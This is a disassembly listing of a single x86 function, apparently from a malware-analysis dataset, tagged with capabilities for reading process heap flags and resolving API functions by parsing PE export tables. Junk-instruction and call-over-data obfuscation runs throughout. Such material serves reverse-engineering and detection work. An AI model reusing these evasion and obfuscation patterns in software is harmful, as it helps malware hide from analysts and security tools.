Function at 0x618c2b
Capabilities:
Get process heap flags
Resolve function by parsing pe exports

Disassembly:
add esp, 4
pop ebx
push esi
push ecx
add esp, 4
sub esi, 0x70b4
add esi, 0x4c2a
pop esi
cmp dword [ebp - 0x1518], 0
jne 0x61852d
mov dword [ebp - 0x710], 0
jmp 0x6187d4
mov edx, dword [ebp - 0x1518]
mov eax, dword [edx + 0xc]
mov ecx, dword [eax + 0xc]
mov dword [ebp - 0xc58], ecx
push eax
call 0x61854f
add byte [ecx + 0x37], al
xor eax, 0x38374147
dec esp
add esp, 4
pop eax
push edi
push ecx
add esp, 4
and edi, 0x8df8
and edi, 0x104a4
and edi, 0x383f
add edi, 0x1cba
pop edi
cmp dword [ebp - 0xc58], 0
jne 0x618589
mov dword [ebp - 0x710], 0
jmp 0x6187d4
mov edx, dword [ebp - 0xc58]
mov dword [ebp - 0x4e8], edx
push edi
xor edi, 0x29fb
add edi, 0xdea2
and edi, 0x50dd
pop edi
push edx
push esi
add esp, 4
xor edx, 0x20a6
and edx, 0x585
and edx, 0xfbaf
jmp 0x6185c6
pop edx
lea eax, [ebp - 0x16e8]
mov dword [ebp - 0xc54], eax
mov ecx, dword [ebp - 0x4e8]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0xc50], edx
xor eax, eax
mov word [ebp - 0x208], ax
xor ecx, ecx
mov word [ebp - 0x3c], cx
push edx
add edx, 0x17a9a
sub edx, 0x8f17
pop edx
push ebx
call 0x61860d
add byte [edi + 0x4a], al
inc edi
inc esp
dec edi
aas
xor eax, 0x8104c483
jecxz 0x61863d
sti
add byte [eax], al
pop ebx
push esi
push ebx
add esp, 4
and esi, 0xa2b
pop esi
mov edx, dword [ebp - 0xc50]
mov ax, word [edx]
mov word [ebp - 0xf8e], ax
mov ecx, dword [ebp - 0xc50]
add ecx, 2
mov dword [ebp - 0xc50], ecx
mov dx, word [ebp - 0xf8e]
lea esi, [eax + 0x66fffff3]
mov edx, dword [ebp - 0xf8e]
mov word [ebp - 0x208], dx
mov eax, dword [ebp - 0xc54]
mov cx, word [eax]
mov word [ebp - 0xf90], cx
mov edx, dword [ebp - 0xc54]
add edx, 2
mov dword [ebp - 0xc54], edx
mov ax, word [ebp - 0xf90]
mov word [ebp - 0x3c], ax
push ecx
or ecx, 0x1484c
add ecx, 0x17a07
add ecx, 0x48e4
add ecx, 0x9e88
pop ecx
push ecx
push esi
add esp, 4
sub ecx, 0xcbc2
add ecx, 0x5a0a
xor ecx, 0x17938
pop ecx
movzx ecx, word [ebp - 0x3c]
test ecx, ecx
jne 0x6186c9
movzx edx, word [ebp - 0x208]
movzx eax, word [ebp - 0x3c]
sub edx, eax
mov dword [ebp - 0x1560], edx
jmp 0x618723
movzx ecx, word [ebp - 0x208]
movzx edx, word [ebp - 0x3c]
cmp ecx, edx
je 0x6185f1
movzx eax, word [ebp - 0x208]
xor eax, 0x20
movzx ecx, word [ebp - 0x3c]
cmp eax, ecx
je 0x6185f1
movzx edx, word [ebp - 0x208]
movzx eax, word [ebp - 0x3c]
cmp edx, eax
jge 0x61870d
mov dword [ebp - 0x151c], 0xffffffff
jmp 0x618717
mov dword [ebp - 0x151c], 1
mov ecx, dword [ebp - 0x151c]
mov dword [ebp - 0x1560], ecx
cmp dword [ebp - 0x1560], 0
jne 0x61876c
push ecx
push ebx
add esp, 4
xor ecx, 0xaa0a
pop ecx
push edx
add edx, 0x2436
xor edx, 0x7b3
jmp 0x61874b
pop edx
push edi
push edx
add esp, 4
add edi, 0x7cb6
add edi, 0x174db
pop edi
mov edx, dword [ebp - 0x4e8]
mov dword [ebp - 0x710], edx
jmp 0x6187d4
push edi
and edi, 0x3b3e
xor edi, 0x11515
pop edi
push eax
or eax, 0x11bdd
or eax, 0x1514b
pop eax
push ebx
xor ebx, 0xc01
jmp 0x618795
jmp 0x61879d
pop ebx
mov eax, dword [ebp - 0x4e8]
mov ecx, dword [eax]
mov dword [ebp - 0x4e8], ecx
mov edx, dword [ebp - 0x4e8]
cmp edx, dword [ebp - 0xc58]
je 0x6187ca
mov eax, dword [ebp - 0x4e8]
cmp dword [eax + 0x30], 0
jne 0x618595
mov dword [ebp - 0x710], 0
push edi
push ebx
add esp, 4
call 0x6187e8
add byte [eax], bh
cmp dword [ebx], edi
cmp byte [edi + 0x3f], al
dec esp
inc ebp
dec esi
add esp, 4
add edi, 0x7db7
pop edi
push ebx
xor ebx, 0x167f4
add ebx, 0x1558a
and ebx, 0x2b35
pop ebx
cmp dword [ebp - 0x710], 0
jne 0x618850
push edi
sub edi, 0x521a
pop edi
push ebx
push ebx
add esp, 4
or ebx, 0x6c49
or ebx, 0x2e9e
and ebx, 0x9de0
sub ebx, 0xcd70
pop ebx
push ebx
push ecx
add esp, 4
sub ebx, 0xb6e0
pop ebx
mov dword [ebp - 0xa58], 0
jmp 0x619378
push edi
push ebx
add esp, 4
and edi, 0x152b3
add edi, 0x5809
or edi, 0x98cc
or edi, 0x4124
pop edi
push eax
push eax
add esp, 4
sub eax, 0x983b
pop eax
push edx
sub edx, 0x588e
pop edx
mov ecx, dword [ebp - 0x710]
mov edx, dword [ecx + 0x18]
mov dword [ebp - 0x300], edx
mov dword [ebp - 0x720], 0
mov eax, dword [ebp - 0x300]
mov dword [ebp - 0x1564], eax
cmp dword [ebp - 0x1564], 0
jne 0x6188c1
mov ecx, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], ecx
jmp 0x618bb2
mov edx, dword [ebp - 0x1564]
mov eax, dword [ebp - 0x300]
add eax, dword [edx + 0x3c]
mov dword [ebp - 0x1568], eax
jne 0x6188e9
mov ecx, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], ecx
jmp 0x618bb2
mov edx, 8
imul eax, edx, 0
mov ecx, dword [ebp - 0x1568]
mov edx, dword [ecx + eax + 0x78]
mov dword [ebp - 0x1570], edx
cmp dword [ebp - 0x1570], 0
jne 0x61891b
mov eax, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], eax
jmp 0x618bb2
mov ecx, dword [ebp - 0x300]
add ecx, dword [ebp - 0x1570]
mov dword [ebp - 0x714], ecx
jne 0x618940
mov edx, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], edx
jmp 0x618bb2
mov eax, dword [ebp - 0x714]
mov ecx, dword [ebp - 0x300]
add ecx, dword [eax + 0x20]
mov dword [ebp - 0x18e0], ecx
mov edx, dword [ebp - 0x714]
mov eax, dword [ebp - 0x300]
add eax, dword [edx + 0x24]
mov dword [ebp - 0x18e4], eax
mov ecx, dword [ebp - 0x714]
mov edx, dword [ebp - 0x300]
add edx, dword [ecx + 0x1c]
mov dword [ebp - 0x18e8], edx
mov dword [ebp - 0x718], 0
jmp 0x61899a
mov eax, dword [ebp - 0x718]
add eax, 1
mov dword [ebp - 0x718], eax
mov ecx, dword [ebp - 0x714]
mov edx, dword [ebp - 0x718]
cmp edx, dword [ecx + 0x18]
jae 0x618ba6
mov eax, dword [ebp - 0x718]
mov ecx, dword [ebp - 0x18e0]
mov edx, dword [ebp - 0x300]
add edx, dword [ecx + eax*4]
mov dword [ebp - 0x71c], edx
mov eax, dword [ebp - 0x718]
mov ecx, dword [ebp - 0x18e4]
movzx edx, word [ecx + eax*2]
mov eax, dword [ebp - 0x18e8]
mov ecx, dword [ebp - 0x300]
add ecx, dword [eax + edx*4]
mov dword [ebp - 0x18ec], ecx
mov dword [ebp - 0x188], 0
jmp 0x618a0a
mov edx, dword [ebp - 0x188]
add edx, 1
mov dword [ebp - 0x188], edx
mov eax, dword [ebp - 0x71c]
add eax, dword [ebp - 0x188]
movsx ecx, byte [eax]
test ecx, ecx
je 0x618abc
mov edx, dword [ebp - 0x188]
movsx eax, byte [ebp + edx - 0x830]
test eax, eax
je 0x618abc
push edi
and edi, 0x5c0a
xor edi, 0x7669
pop edi
push edx
push eax
add esp, 4
sub edx, 0x4a7f
call 0x618a5f
add byte [ecx], bh
cmp dword [edx], edi
dec esi
inc edx
inc ebp
dec ebp
dec esi
cmp al, byte [ebx - 0x157efb3c]
js 0x618a16
add byte [eax], al
pop edx
mov ecx, dword [ebp - 0x71c]
add ecx, dword [ebp - 0x188]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x188]
movsx ecx, byte [ebp + eax - 0x830]
cmp edx, ecx
je 0x618aae
mov edx, dword [ebp - 0x71c]
add edx, dword [ebp - 0x188]
movsx eax, byte [edx]
xor eax, 0x20
mov ecx, dword [ebp - 0x188]
movsx edx, byte [ebp + ecx - 0x830]
cmp eax, edx
jne 0x618ab5
jmp 0x6189fb
jmp 0x618abc
push esi
xor esi, 0x9fd7
or esi, 0xa975
add esi, 0xb38e
pop esi
push edi
push esi
add esp, 4
sub edi, 0x69fb
and edi, 0xe3a6
and edi, 0x1517c
add edi, 0x8e14
pop edi
mov eax, dword [ebp - 0x71c]
add eax, dword [ebp - 0x188]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x188]
movsx eax, byte [ebp + edx - 0x830]
cmp ecx, eax
jne 0x618b1b
mov dword [ebp - 0xc5c], 0
jmp 0x618b8a
push eax
push ebx
add esp, 4
add eax, 0xc69d
or eax, 0x10569
add eax, 0x8e5f
pop eax
push ebx
push ebx
add esp, 4
add ebx, 0xbc65
pop ebx
push edx
sub edx, 0x13189
and edx, 0x11bdc
pop edx
mov ecx, dword [ebp - 0x71c]
add ecx, dword [ebp - 0x188]
movsx edx, byte [ecx]
or edx, 0x20
mov eax, dword [ebp - 0x188]
movsx ecx, byte [ebp + eax - 0x830]
or ecx, 0x20
cmp edx, ecx
jge 0x618b80
mov dword [ebp - 0xc5c], 0xffffffff
jmp 0x618b8a
mov dword [ebp - 0xc5c], 1
cmp dword [ebp - 0xc5c], 0
jne 0x618ba1
mov edx, dword [ebp - 0x18ec]
mov dword [ebp - 0x3c8], edx
jmp 0x618bb2
jmp 0x61898b
mov eax, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], eax
cmp dword [ebp - 0x3c8], 0
je 0x618c8d
push eax
push edi
add esp, 4
sub eax, 0x45fb
pop eax
push edx
sub edx, 0x605
sub edx, 0x5aa7
pop edx
push ebx
push ecx
add esp, 4
xor ebx, 0x14da9
add ebx, 0x2fbb
or ebx, 0x17c68
pop ebx
mov ecx, dword [ebp - 0x3c8]
mov dword [ebp - 0x18f0], ecx
push ecx
call 0x618c0e
add byte [edx + 0x4f], cl
inc esi
inc ebp
inc ebp
xor al, byte [edx + 0x3d]
dec esi
add esp, 4
pop ecx
push eax
add eax, 0x1786f
jmp 0x618c1e
call 0x618c2b
add byte [edi], bh
dec esi
dec edx
dec ebp
xor edx, dword [eax + 0x4b]
add esp, 4
pop eax
mov edx, dword [ebp - 0x18f0]
mov dword [ebp - 0x18f4], edx
lea eax, [ebp - 0x1628]
push eax
call dword [ebp - 0x18f4]
test eax, eax
jne 0x618c8d
push eax
push ecx
add esp, 4
and eax, 0x1ca7
or eax, 0xa30b
pop eax
push edx
push ebx
add esp, 4
jmp 0x618c6b
add edx, 0x1c2e
or edx, 0xc315
sub edx, 0x8cd3
pop edx
mov dword [ebp - 0xa58], 0
jmp 0x619378